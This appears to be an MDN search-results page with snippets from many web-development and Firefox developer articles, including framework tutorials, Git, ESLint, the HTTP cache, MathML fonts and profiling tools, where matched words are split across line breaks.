...code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have. object data (and often, functions too) can be stored neatly (the official word is encapsulated) inside an object package (which can be given a specific name to refer to, which is sometimes called a namespace), making it easy to structure and access; objects are also co
mmonly used as data stores that can be easily sent across the network. defining an object template let's consider a simple program that displays information about the students and teachers at a school. here we'll look at oop theory in general, not in the context of any specific progra
mming language. to start this off, we could return to our person object type from our first objects article, which...
...And 2 more matches
Ember app structure and componentization - Learn web development
previous overview: client-side javascript frameworks next in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to structure an ember app, and then break that structure into components. planning out the layout of the todomvc app in the last article we set up a new ember proj...
...t. this is because the default css absolutely positions the checkbox + label with negative top and left values to move it next to the input, rather than it being inside the "main" section. ...
... to create our components for us so to represent our app, we want to create 4 components: header list individual todo footer to create a component, we use the ember generate component co
mmand, followed by the name of the component. let’s create the header component first. to do so: stop the server running by going to the terminal and pressing ctrl + c. ...
...And 2 more matches
Framework main features - Learn web development
javascript or html first. transformation is an extra step in the development process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the co
mmunities around those frameworks. jsx jsx, which stands for javascript and xml, is an extension of javascript that brings html-like syntax to a javascript environment. it was invented by the react team for use in react applications, but can be used to develop other applications — like vue apps, for instance. the following shows a simple jsx example: const subject = "world"; const header = ( ...
...ponent needs. we could rewrite home and article so that they know to pass props down, but this could get tedious if there are many, many levels between the origin and destination of our data. it's also excessive: home and article don’t actually make use of the author's portrait or byline, but if we want to get that information into the authorcredit, we will need to change home and author to acco
mmodate it. the problem of passing data through many layers of components is called prop drilling, and it’s not ideal for large applications. to circumvent prop drilling, frameworks provide functionality known as dependency injection, which is a way to get certain data directly to the components that need it, without passing it through intervening levels. each framework implements dependency inj...
... similar to the virtual dom in that it builds a dom diff to decide what to render, but different in that it doesn't create a complete copy of the dom in javascript memory. it ignores the parts of the dom that do not need to be changed. angular is the only framework discussed so far in this module that uses an incremental dom. you can read more about the incremental dom on the auth0 blog. the gli
mmer vm is unique to ember. it is not a virtual dom nor an incremental dom; it is a separate process through which ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than javascript. routing as mentioned in the previous chapter, routing is an important part of the web experience. to avoid a broken experience in sufficiently complex apps with lots of views...
...And 2 more matches
React interactivity: Events and state - Learn web development
p from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. objective: to learn about handling events and state in react, and use those to start making the case study app interactive. handling events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them. for example: const btn = document.queryselector('b...
...it(e) { e.preventdefault(); props.addtask("say hello!"); } clicking on the "add" button in your browser will prove that the addtask() callback function works, but it'd be nice if we could get the alert to show us what we're typing in our input field! this is what we'll do next. note: we decided to name our callback prop addtask to make it easy to understand what the prop will do. another co
mmon convention you may well come across in react code is to prefix callback prop names with the word on, followed by the name of the event that will cause them to be run. for instance, we could have given our form a prop of onsubmit with the value of addtask. state and the usestate hook so far, we've used props to pass data through our components and this has served us just fine. now that we're ...
...oblem: our addtask() function is giving each task the same id. this is bad for accessibility, and makes it impossible for react to tell future tasks apart with the key prop. in fact, react will give you a warning in your devtools console — "warning: encountered two children with the same key..." we need to fix this. ...
...And 2 more matches
Creating our first Vue component - Learn web development
s, passing data to them via props, and saving data state. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to ...
...mponent, we can use v-bind to map the isdone property to the checked attribute on the <input> element. both of the following are equivalent: <input type="checkbox" id="todo-item" v-bind:checked="isdone" /> <input type="checkbox" id="todo-item" :checked="isdone" /> you're free to use whichever pattern you would like. it's best to keep it consistent though. because the shorthand syntax is more co
mmonly used, this tutorial will stick to that pattern. so let's do this. update your <input> element now to replace checked="false" with :checked="isdone". test out your component by passing :done="true" to the todoitem call in app.vue. note that you need to use the v-bind syntax, because otherwise true is passed as a string. the displayed checkbox should be checked. <template> <div id="app"> ...
... checked. <template> <div id="app"> <h1>my to-do list</h1> <ul> <li> <to-do-item label="my todo item" :done="true"></to-do-item> </li> </ul> </div> </template> try changing true to false and back again, reloading your app in between to see how the state changes. giving todos a unique id great! we now have a working checkbox where we can set the state progra
mmatically. however, we can currently only add one todolist component to the page because the id is hardcoded. this would result in errors with assistive technology since the id is needed to correctly map labels to their checkboxes. to fix this, we can progra
mmatically set the id in the component data. we can use the lodash package's uniqueid() method to help keep the index unique. this package exp...
...And 2 more matches
Git and GitHub - Learn web development
if your computer breaks. you will also want to be able to roll back to earlier versions if a problem is later discovered. you might have started doing this in your own work by creating different versions of the same file, e.g. mycode.js, mycode_v2.js, mycode_v3.js, mycode_final.js, mycode_really_really_final.js, etc., but this is really error-prone and unreliable. different team members will co
mmonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it. vcses provide tools to meet the above needs. git is an example of a vcs, and github is a web site + infrastructure that provides a git server ...
... looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites to use git and github, you need: a desktop computer with git installed on it (see the git downloads page). a tool to use git. depending on how you like to work, you could use a git gui client (we'd reco
mmend github desktop, sourcetree or git kraken) or just stick to using a terminal window. in fact, it is probably useful for you to get to know at least the basics of git terminal co
mmands, even if you intend to use a gui. a github account. if you haven't already got one, sign up now using the provided link. in terms of prerequisite knowledge, you don't need to know anything about web development...
...using a terminal window. in fact, it is probably useful for you to get to know at least the basics of git terminal co
mmands, even if you intend to use a gui. a github account. if you haven't already got one, sign up now using the provided link. in terms of prerequisite knowledge, you don't need to know anything about web development, git/github or vcses to start this module. however, it is reco
mmended that you know some coding so that you have reasonable computer literacy, and some code to store in your repositories! it is also preferrable that you have some basic terminal knowledge, so for example moving between directories, creating files, and modifying the system path. note: github is not the only site/toolset you can use with git. there are other alternatives such as gitlab that yo...
...And 2 more matches
Software accessibility: Where are we today?
the increasing numbers of aging baby boomers that are beginning to experience problems with their sight, vision or dexterity. when you add all these groups of people together, that's a lot of potential users! in answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use co
mmon computer applications. some examples of these assistive devices and software include: screen reading software, which speaks text displayed on the screen using hardware or software text-to-speech, and which allows a blind person to use the keyboard to simulate mouse actions alternate input devices, which allow people with physical disabilities to use alternatives to a keyboard and mouse v...
...l pieces of sequential, non-graphical information can be conveyed - via text-to-speech or a refreshable braille display. whatever the user does, the software needs to respond with small, bite sized pieces of information that are as short and to the point as possible. ideally, intelligent decisions are made, so the user does not have to wade through as much non-relevant data. alternative ways to co
mmand the computer and enter data another problem is how people with disabilities get information into the computer. if you're physically disabled, you may not be able to type on a regular keyboard or use a mouse. here are some of the alternative ways physically disabled people enter information: sticky keys make entering key combinations easy. for example to make a capital letter, fi...
...lities. some, like stephen hawking, enter information by choosing among lists of options. they might press a switch down to begin moving a highlight bar through the list, and release the switch when the desired option is highlighted. special keyboards exist to make data entry easier. however, any special features are generally handled in the keyboard itself, so that no special progra
mming is required. speech recognition technology lets people talk to the computer. this technology has come a long way, but still needs to be more integrated into mainstream software. consistent keyboard support and hotkeys many people can't use a mouse. extremely consistent keystroke support is a very important consideration. blind testers have knack for finding ways to ...
...And 2 more matches
Adding a new CSS property
them is by looking at other changes in the version control history of the files mentioned. getting started first, you'll want to add an appropriate test entry to property_database.js. see the documentation at the top of the file and the other entries for examples. this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the co
mmand "./mach mochitest -f plain layout/style/". then, unless you're implementing a shorthand property, you need to decide which style struct the computed value of the property should go in. (again, see the gecko overview for more information.) it should generally be grouped with related properties. remember that each style struct contains only properties that inherit by default or only properti...
...y be grouped with related properties. remember that each style struct contains only properties that inherit by default or only properties that do not. (which set the property is in is given in the specification, which says "inherited: yes" or "inherited: no" in the property's definition.) also note that some of the style structs intentionally contain only properties set/reset by a particular co
mmon shorthand property; this improves the effectiveness of some of the performance and memory optimizations done with the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct. once you know which struct you're going to use (or that the property is a shorthand), you can add appropriate entry to nscssproplist.h. again, see the documentation at the top o...
...cification) and any prose in the specification that adds additional restrictions to that syntax. every property in nscssproplist.h must have in its flags field exactly one of the four css_property_parse_* flags defined in nscssprops.h. given the syntax for the property, you can determine which one to use. if the property's values can be expressed as a single value, or as a space-separated or co
mma-separated list of values that can be described by the variant_* flags (also in nscssprops.h), you should use css_property_parse_value or css_property_parse_value_list, and set the appropriate variant_* flags in the entry in nscssproplist.h (and maybe also css_property_value_list_uses_co
mmas). otherwise, set the variant entry in the nscssproplist entry to 0. if you need custom parsing code, thi...
...And 2 more matches
What to do and what not to do in Bugzilla
t lists the requirements and the email to contact. if you need faster access to get canconfirm or editbugs, especially in order to triage bugs or to participate in a bug day, then you can ask in #bmo on irc, or you may create a bug requesting permissions. include a link to your bugzilla activity page in the bug description. before you have canconfirm, you can still do good triaging by leaving co
mments with useful information on the bug that will help to confirm it. the same is true for editbugs: leave co
mments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly. canconfirm privilege the canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (new). it also governs w...
...t be reproduced with a current build. the bug reporter reports that they can no longer see the bug and no other people report that they are still seeing the bug. resolving bugs as incomplete the problem is vaguely described with no steps to reproduce, or is a support request. the reporter should be directed to the product's support page for help diagnosing the issue. if there are only a few co
mments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce. if the bug is long, when enough info is provided a new bug should be filed and the original bug marked as a duplicate of it. resolving bugs as invalid you should resolve a bug as invalid if the issue described in the bug is clearly not a mozilla bug or if the issue...
...ry hardware/os they were reported on. if that's impossible, try to cooperate with multiple people to verify the bug. there are no clear rules for verifying worksforme. in general you should make sure that the bug has been resolved for a few months and no complaints about the resolution have come up. ...
...And 2 more matches
ESLint
it also runs on treeherder for every check-in. ...
...ing these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted. setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing co
mmits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint. vcs hooks hooks are available for mercurial & git, see using a vcs hook for more details. editor integration it is highly reco
mmended that you integrate eslint into your editor. this lets you see errors in real time, and can help you fix issues before you compile or run tests, reducing the time ...
...oolkit/mozapps/installer/js-compare-ast.js 18:39 error 'snarf' is not defined. no-undef (eslint) if you don't understand a rule, you can look it up on eslint.org for more information about it. mozilla specific rules there are some rules that are specific for the mozilla code-base. these have the prefix mozilla/. more information: outline details of the rules rule source code co
mmon issues and how to solve them my editor says that "mozilla/whatever" is unknown run ./mach eslint --setup restart your editor if that doesn't work, check that you have your editor pointing to the correct node_modules folder. node.js is not recognized add it to your path environment variable by running path="$path:/path/to/node.js/". for example: in windows 10, if you have installed ...
...And 2 more matches
Storage access policy: Block cookies from trackers
e version of firefox. that's because we document new aspects of the policy as soon as they land in firefox nightly, our pre-release channel. firefox nightly may also contain experimental features that we don't yet plan to ship to release users; experimental features will not be included in this documentation, but may nevertheless impact the functionality of domains classified as trackers. we reco
mmend sites test with firefox nightly, as this includes the newest version of our protections. as described above, note that nightly may include additional protections that end up getting removed or changed before they reach our release users. we’ll keep this page updated with the newest information as we strengthen our protections. these protections are on by default in nightly. the cookie polic...
... trackers when a user interacts with those third parties. we do this when we expect that not granting access would cause the web page to break. we also support an initial implementation of the storage access api, through which embedded <iframe>s can request storage access by calling document.requeststorageaccess(). ...
...they are intended to be temporary and will be removed in a future version of firefox. they should not be relied upon for current and future web development. third-party storage access may be granted to resources that have been classified as tracking resources when a user gesture triggers a pop-up window that has opener access to the originating document. ...
...And 2 more matches
HTML parser threading
oms that are atomic (pointer-comparable) within the tokenizer/tree builder pair. however, when tree ops are executed, every atom has to be tested for being a static atom (using isstaticatom()). if the atom isn't static, a corresponding normal main-thread dynamically-allocated atom has to be obtained for the same string and used instead of the nshtml5atom. nshtml5atom objects are guaranteed to be i
mmutable and to stay alive for the lifetime of the parser instance, so it's safe for the main thread to call their methods (as is necessary to find the corresponding normal atom). references to dom nodes in tree ops are of type nsicontent** and are called content handles. a handle points to memory allocated by the tree builder and guaranteed to stick around for the life time of the parser. the tree ...
...sing html in an iframe e.g. for a chat app.) some tree ops hold char or prunichar arrays. those arrays are allocated when creating the tree op and delete[]d by the destructor of nshtml5treeoperation. hence, data gets copied to and from these arrays. executing tree ops when the executor flushing runnable fires on the main thread, it calls nshtml5treeopexecutor::runflushloop(). this method returns i
mmediately if another invocation of it is already on the call stack (nested event loop case). the method then enters a loop that has a bunch of return conditions (including parser termination). the loop first flushes speculative loads (creation discussed later). if the executor is reading from a stage (i.e. the ops are coming from the parser thread), the executor moves the tree ops from the staging ...
... reading from a stage, it calls nshtml5parser::parseuntilblocked() to parse potential document.write()-generated data into tree ops. the outer loop then has an inner loop that iterates over the tree ops in the executor's queue and calls perform on each one. parser termination is checked before each tree op for an early return, because, unfortunately, gecko expects parsers to be able to terminate i
mmediately. after each tree op except the last one in the queue, the clock time is checked to see if runflushloop() has spent too much time without returning to the event loop. if too much time has been spent, a runnable for calling runflushloop() again is dispatched and an early return made before all tree ops have been executed. (only the already executed ops are destructed and the rest are left i...
...And 2 more matches
HTTP Cache
the cache api is completely thread-safe and non-blocking. there is no ipc support. it's only accessible on the default chrome process. ...
... mandatory argument to *storage methods of nsicachestorageservice. //github.com/realityripple/uxp/blob/master/netwerk/base/public/nsiloadcontextinfo.idl ...
...asyncopenuri is always and only sent to callbacks on this interface. these callbacks are ensured to be invoked when asyncopenuri returns ns_ok. important difference in behavior from the old cache: when the cache entry object is already present in memory or open as “force-new” (a.k.a “open-truncate”) this callback is invoked sooner then the asyncopenuri method returns (i.e. i
mmediately); there is currently no way to opt out of this feature (watch bug 938186). nsicacheentry //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicacheentry.idl obtained asynchronously or pseudo-asynchronously by a call to nsicachestorage.asyncopenuri. provides access to a cached entry data and meta data for reading or writing or in some cases both, see below.
...And 2 more matches
CustomizableUI.jsm
rse xul-provided widgets could be available in some windows but not others, and likewise api-provided widgets might not exist in a private window (because of the showinprivatebrowsing property). return value an array of widget wrappers. getwidgetidsinarea() get an array of all the widget ids placed in an area. this is roughly equivalent to fetching the currentset attribute and splitting by co
mmas in the legacy apis. modifying the array will not affect customizableui. nb: will throw if called too early (before placements have been fetched) or if the area is not currently known to customizableui. parameters aarea the id of the area whose placements you want to obtain. return value an array containing the widget ids that are in the area. getwidgetsinarea() get an array of widget...
...ode for aarea in awindow reset() reset the customization state back to its default. this is the nuclear option. you should never call this except if the user explicitly requests it. firefox does this when the user clicks the "restore defaults" button in customize mode. undoreset() undoes a previous reset, restoring the state of the ui to the state prior to the reset. this can only be called i
mmediately after reset(). if any of the ui is changed after calling reset(), then undoreset will be a no-op. removeextratoolbar() remove a custom toolbar added in a previous version of firefox or using an add-on. nb: only works on the customizable toolbars generated by the toolbox itself. intended for use from customizemode, not by other consumers. parameters atoolbarid the id of the toolbar ...
...on type this is likely the code you need for your widget. only rare need a type:custom widget. ...
...And 2 more matches
DeferredTask.jsm
t can also be true when read from external code, in case the task is an asynchronous generator function. methods ispending obsolete since gecko 28 check the current task state. bool ispending(); return value returns true if pending, false otherwise. start obsolete since gecko 28 start (or postpone) task. void start(); flush obsolete since gecko 28 perform any postponed task i
mmediately. void flush(); cancel obsolete since gecko 28 cancel any pending task. void cancel(); arm request the execution of the task after the delay specified on construction. multiple calls don't introduce further delays. if the task is running, the delay will start when the current execution finishes. the task will always be executed on a different tick of the event loop, even if the...
... doesn't provide a way for the caller to detect when the next execution terminates, or collect a result. in fact, doing that would often result in duplicate processing or logging. if a special operation or error logging is needed on completion, it can be better handled from within the task itself, for example using a try/catch/finally clause in the task. the "finalize" method can be used in the co
mmon case of waiting for completion on shutdown. void arm(); disarm cancel any request for a delayed execution of the task, though the task itself cannot be canceled in case it is already running. this method stops any currently running timer, thus the delay will restart from its original value in case the "arm" method is called again. void disarm(); finalize ensure that any pending tas...
...is method stops any currently running timer, thus the delay will restart from its original value in case the "arm" method is called again. void disarm(); finalize ensure that any pending task is executed from start to finish, while preventing any attempt to arm the timer again. if the task is running and the timer is armed, then one last execution from start to finish will happen again, i
mmediately after the current execution terminates; then the returned promise will be resolved. if the task is running and the timer is not armed, the returned promise will be resolved when the current execution terminates. if the task is not running and the timer is armed, then the task is started i
mmediately, and the returned promise resolves when the new execution terminates. if the task is not...
...And 2 more matches
Webapps.jsm
(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersyste
mmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersyste
mmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeractivitiesforapps: function(aappstoregister, arunupdate) _registera...
...er, arunupdate) _registeractivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, a
mm) removemessagelistener: function(amsgnames, a
mm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) ...
...eceivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, a
mm) doimport: function(amsg, a
mm) doextractmanifest: function(amsg, a
mm) dolaunch: function (adata, a
mm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amani...
...And 2 more matches
Localization and Plurals
f you're here to make your code (e.g., extensions) localizable for plural forms, you can jump straight to developing with pluralform. you may also need to localize the initial strings for your code, so it would be good to read through at least the usage section as well. usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a gra
mmatical rule on how to change words, depending on the number qualifying the word. different languages can have different rules. plural form: for a particular plural rule, there can be multiple forms of a word, such as "page" and "pages". in this case, there are 2 forms, but other languages can have 1 or many more. if you're here for pluralrule in the chrome/global/intl.properties file, you'll ne...
...the following would be better: components.utils.import("resource://gre/modules/pluralform.jsm"); let downloads = "you have one download.;you have #1 downloads."; let num = 10; // for english, this would display "you have 10 downloads." print(pluralform.get(num, downloads).replace("#1", num); notice in the above example that the code can be written to support placeholders or n...
...so for your extension, specify a pluralrule value in the .properties, and call pluralform.makegetter(pl...
...And 2 more matches
Initial setup
er the accounts you need as well as the tools and their configurations you need to set up before contributing. new or existing before anything else, you need to know if you will be creating a new localization or joining an existing one. this will determine what information is most applicable to you throughout the rest of this guide. here's what you do: look through the existing localization co
mmunity directory to see if one already exists for your locale. if a co
mmunity already exists, reach out to them and ask how you can help. if a co
mmunity doesn't exist, send an email to the new-locales newsgroup for additional guidance. accounts there are a handful of accounts that you need to be aware of as you begin. they're not required for you to begin contributing, but will be required w...
...be aware that these will become important as your efforts progress. these accounts will store your code, contributions, and help you produce an official localization. hg (mercurial) mercurial is the revision control environment that houses the main mozilla source code as well as localized code for each official mozilla localization. you will need this for localizing mozilla applications. hg co
mmit access is not necessary to begin localizing. after you have some experience with hg, you may want to get co
mmit access. at that point, you must visit the mozilla co
mmitter page and follow the process outlined there. here is an example bug that illustrates the process well. use this bug template when filing your hg account registration bug. add a request about creating your locale's repository t...
...r hg account registration bug. add a request about creating your locale's repository to the new locales newsgroup. svn svn is a revision control environment that mozilla uses to house mozilla source websites and their localizations for each official mozilla localization. see this wiki page about how to gain access to svn. the svn for localizers guide will help you learn the most important svn co
mmands for l10n. add a request about creating your locale's repository to the new locales newsgroup. web-based l10n tools we'll talk about these in a little bit. for now, just be aware that should you choose to use them, you may need to create a personal account. mozilla ldap you will need a mozilla ldap account once you're ready to have your localization registered on the main mozilla reposi...
...And 2 more matches
Fonts for Mozilla 2.0's MathML engine
re the instructions above do not work: install the mathml-fonts add-on. this requires gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or higher. overview mathematical formulas make use of various symbols represented by specific unicode characters. mozilla can display any of these symbols provided suitable unicode fonts are installed. furthermore, in accordance with the w3c css2 reco
mmendation on fonts, authors can specify an ordered list of particular fonts which they prefer (using the font-family property of css), with the assurance that mozilla's font engine will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system. if no appropriate font is ultimately found for a given character, mozilla will instead display a box containing th...
...e will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system. if no appropriate font is ultimately found for a given character, mozilla will instead display a box containing the hexadecimal representation of the unicode code point for the character. some mathematical operators are also drawn by using glyphs for larger variants of the character (e.g. su
mmation symbol) or by assembling glyphs for a few pieces of the character (e.g braces). these variant or part glyphs do not in general have unicode assignments, and so font-specific support is required for some characters. mozilla has general support for the co
mmon delimiters and arrows that have the necessary unicode assignments. for other characters, mozilla has font-specific support. in general, ...
...le transforms, but that may result in a less pleasant rendering. to see mathml as intended, you need sufficient font support, which may mean installing some fonts. note that some web sites may provide the required mathematical fonts as web fonts. in that case, you will see the correct rendering on these pages if you use gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or greater. reco
mmended fonts the stix fonts project has been developing a comprehensive set of fonts that cover all the symbols in mathml and also contains glyphs to stretch mathematical operators. they are available under the sil open font license and should be installed for best mathml rendering. note that currently, only the fonts in /fonts/stix-general/ are used for stretching mathematical operators with stix ...
...And 2 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
a + b ↛ c * d a + b ⇍ c × d a + b ⇏ c ÷ d a + b ⇎ c ⋅ d a + b ↮ c * d fences latex fences that begin with \left and \right are stretchy. they grow vertically to the height and depth of the enclosed math run. this growth is continuous and sy
mmetric. here are examples of the standard latex fences ( x ) [ y ] { 1 } ⟨ t ⟩ ⌊ a ⌋ ⌈ . ⌉ | π | || Σ || and / f / \ n \ ↕ ℜ ↕ ⇕ 1.0 ⇕ ↑ x 2 ↑ ⇑ x a 2 ⇑ ↓ x ↓ ⇓ m ⇓ . here are some examples with a bit more stretching ( k 1 2 2 ) [ k 1 2 2 ] { k 1 2 2 }...
...this is especially important for vertical arrows used as fences. the default attributes given in the mathml operator dictionary don't configure vertical arrows as fences. in latex, the lspace on a left side fence delimiter and the rspace on a right side fence delimiter is not 0. here's an example to illustrate spacing around fences m [ m m m ] m ( ...
... [ a b c ...
...And 2 more matches
Memory reporting
when writing a memory reporter. memory reporters a memory reporter makes one or more memory measurements (a.k.a. reports). each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most co
mmonly bytes, but sometimes a unitless count or percentage); a description of what is measured. see the nsimemoryreporter documentation and nsimemoryreporter.idl for full details. making measurements nsimemoryreporter provides the high-level interface for a memory reporter, but the heart of a memory reporter is the measurement of the "amount". two ways to measure memory reporters can be divid...
...r this class. size_t mystring::sizeofexcludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(mbuffer); } size_t mystring::sizeofincludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(this) + sizeofexcludingthis(amallocsizeof); } (note that sizeofexcludingthis and sizeofincludingthis aren't overrides of methods on a global base class that is co
mmon to all reporters. these names are just a convention that is co
mmonly followed. that said, note that for some classes these methods may be virtual.) mfbt/memoryreporting.h defines mozilla::mallocsizeof as follows: typedef size_t (*mallocsizeof)(const void* p); functions with this signature measure the size of p by asking the heap allocator how big it is (via moz_malloc_usable_size). all ...
...jects pointed to by fields inherited from b are measured. however, if d does not have any of its own fields that point to other objects, then d::sizeofexcludingthis is not necessary. alternatively, if d does have fields that point to other objects but you don't want to measure them because they're insignificant, then d::sizeofexcludingthis is again not necessary. but it's a good idea to add a co
mment indicating this decision not to measure, and the names of the unmeasured fields. the obvious place for this co
mment is within d, but if b has many sub-classes like that, it might be easier to put the co
mment above b::sizeofincludingthis. things to note about sizeofincludingthis when it is virtual. d::sizeofincludingthis is identical to b::sizeofincludingthis. you might think that d could ...
...And 2 more matches
Profiling with the Firefox Profiler
that we're spending ~287 milliseconds in startup::xre_initchildprocess, 194 ms of which are spent in pvsync::msg_notify and all child functions that it calls. it is useful to scan down the "running time" column and look for when the time changes. while looking for performance problems, you're looking for the processes that are taking the most time; then you can figure out how to optimize them. co
mmon performance bugs in firefox inefficient code that is on the reflow or restyle paths is often to blame for jank. so is code that is run often in the parent process or in parts of the codebase that apply to many users. synchronous re-flow can be caused by js that, for example, makes changes to the page content in a loop and queries about the layout of the page in that same loop. a presshell:fl...
...ll:flush means that we are either recomputing styles or recomputing layout. these sorts of flushes should be avoided if possible, as they can be quite expensive. keep your eyes out for flushes like this that are blocking the main thread for a long time. if you notice these things happening in a loop, that's a bug to be fixed, since we're likely "layout thrashing". some more tips and answers to co
mmon questions are available in a mid-2017 faq document. it's a good idea to search bugzilla before filing a bug about a performance problem in firefox but sometimes it's hard to find issues that have already been reported. therefore, it's usually a good idea to file a bug. profiling local windows builds if you built firefox for windows locally and you would like to use the local symbols with the...
...ich are good values to debug long startups. if you'd like a coarser resolution, you can also choose a different interval using moz_profiler_startup_interval, which defaults to 1 (unit is millisecond). you can't go below 1 ms but you can use e.g. 10 ms. if the default threads to be profiled are insufficient, you can choose which threads to profile using moz_profiler_startup_filters, which is a co
mma separated list. description of all available environment variables may be printed by starting firefox with moz_profiler_help=1 set. if you want to profile firefox for android, you have to set this environment values by --es option of am co
mmand to launch firefox. this example is for firefox nightly (package name is org.mozilla.fennec_aurora), and you have to allow storage access on permission...
...And 2 more matches
TimerFirings logging
hat gecko supports. then comes the function kind, one of one_shot (a single-use timer), slack or precise (repeating timers of differing precision). then comes the timer period, measured in milliseconds. finally there is the identifying information for the timer. function timers have an informative label. interface and observer timers only have an address, which is less useful, but they are unco
mmon enough that this usually doesn't matter much. the above example shows only timers from c++ within gecko. there are also timers for settimer or setinterval calls in javascript code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100...
...js timers are annotated with [content] and show the javascript source location where they were created. they can come from chrome code within firefox, or from web content. the informative labels are only present on function timers that have had their creation site annotated. for unannotated function timers, there are three possible behaviours. first, on mac the code uses dladdr to get the name i
mmediately, and the output will look like the following. 2082435840[100445640]: [81190] fn timer (one_shot 8000 ms): [from dladdr] gfxfontinfoloader::delayedstartcallback(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py. the following two lines show the output before and after being post-processed b...
...rivertimer::timertick(nsitimer*, void*) (/home/njn/moz/mi1/o64/layout/b third, on other platforms dladdr is not implemented or doesn't work well, and the output will look like the followin. 711637568[7f3219c48000]: [6835] fn timer (one_shot 16 ms): ???[dladdr is unimplemented or doesn't work well on this os] the ??? indicates that the function timer lacks an explicit name, and the co
mment within the square brackets explains why the fallback mechanism wasn't used. if an unannotated timer function appears frequently it is worth explicitly annotating it so that it will be usefully identified on other platforms. (running on mac or linux is obviously necessary to learn the timer function's name.) this is done by initializing it with initwithnamedfunccallback or initwithnameablefunc...
...And 2 more matches
powermetrics
powermetrics is a mac-only co
mmand-line utility that provides many high-quality power-related measurements. it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike activity monitor and top) especially in combination with rapl via the mach power co
mmand. this document describes the version of powermetrics that comes with mac os 10.10. the one that comes with 10.9 is less powerful. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. quick start powermetrics provides a vast number of measurements. ...
... --show-process-coalition tells it to group coalitions of related processes, e.g. the firefox parent process and child processes. ...
... safari. the grouping of parent and child processes (in coalitions) is obvious. the meaning of the columns is as follows. name: coalition/process name. process names within coalitions are indented. id: coalition/process id number. cpu ms/s: cpu time used by the coalition/process, per second, during the sample period. the ...
...And 2 more matches
Performance
